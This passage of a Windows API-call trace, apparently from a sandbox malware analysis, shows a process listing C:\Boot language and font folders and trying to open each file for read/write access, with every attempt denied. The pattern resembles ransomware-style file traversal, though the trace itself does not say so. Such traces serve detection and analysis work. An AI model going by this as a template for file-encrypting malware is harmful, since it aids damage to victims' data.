hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.093] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0128.093] GetProcessHeap () returned 0x2a0000 [0128.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.093] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.094] GetProcessHeap () returned 0x2a0000 [0128.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.094] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.094] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.094] GetProcessHeap () returned 0x2a0000 [0128.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.094] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.094] GetLastError () returned 0x5 [0128.094] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.094] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.095] GetProcessHeap () returned 0x2a0000 [0128.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0128.095] GetProcessHeap () returned 0x2a0000 [0128.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.095] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.095] GetProcessHeap () returned 0x2a0000 [0128.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.095] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.095] GetProcessHeap () returned 0x2a0000 [0128.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.095] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.101] GetLastError () returned 0x5 [0128.101] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.101] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.101] GetProcessHeap () returned 0x2a0000 [0128.101] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.101] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0128.101] GetProcessHeap () returned 0x2a0000 [0128.101] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.101] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.101] GetProcessHeap () returned 0x2a0000 [0128.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.102] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.102] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.102] GetProcessHeap () returned 0x2a0000 [0128.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.102] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.102] GetLastError () returned 0x5 [0128.102] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0128.102] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.102] GetLastError () returned 0x5 [0128.102] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0128.102] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.102] GetProcessHeap () returned 0x2a0000 [0128.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.103] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0128.103] GetProcessHeap () returned 0x2a0000 [0128.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.103] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.106] GetProcessHeap () returned 0x2a0000 [0128.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.106] GetProcessHeap () returned 0x2a0000 [0128.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.106] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.106] GetLastError () returned 0x5 [0128.106] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.106] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.106] GetProcessHeap () returned 0x2a0000 [0128.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.106] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0128.106] GetProcessHeap () returned 0x2a0000 [0128.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.106] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.107] GetProcessHeap () returned 0x2a0000 [0128.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.107] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.107] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0128.107] GetProcessHeap () returned 0x2a0000 [0128.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.107] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.107] GetLastError () returned 0x5 [0128.107] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0128.107] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0128.107] GetProcessHeap () returned 0x2a0000 [0128.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7868 | out: hHeap=0x2a0000) returned 1 [0128.108] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0128.108] GetProcessHeap () returned 0x2a0000 [0128.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c) returned 0x2c4b30 [0128.108] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0128.109] GetProcessHeap () returned 0x2a0000 [0128.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.109] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0128.109] GetProcessHeap () returned 0x2a0000 [0128.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22e) returned 0x2c7868 [0128.109] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.109] GetLastError () returned 0x5 [0128.109] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0128.109] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.110] GetLastError () returned 0x5 [0128.110] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0128.110] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.111] GetLastError () returned 0x5 [0128.111] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0128.111] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.111] GetLastError () returned 0x5 [0128.111] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, 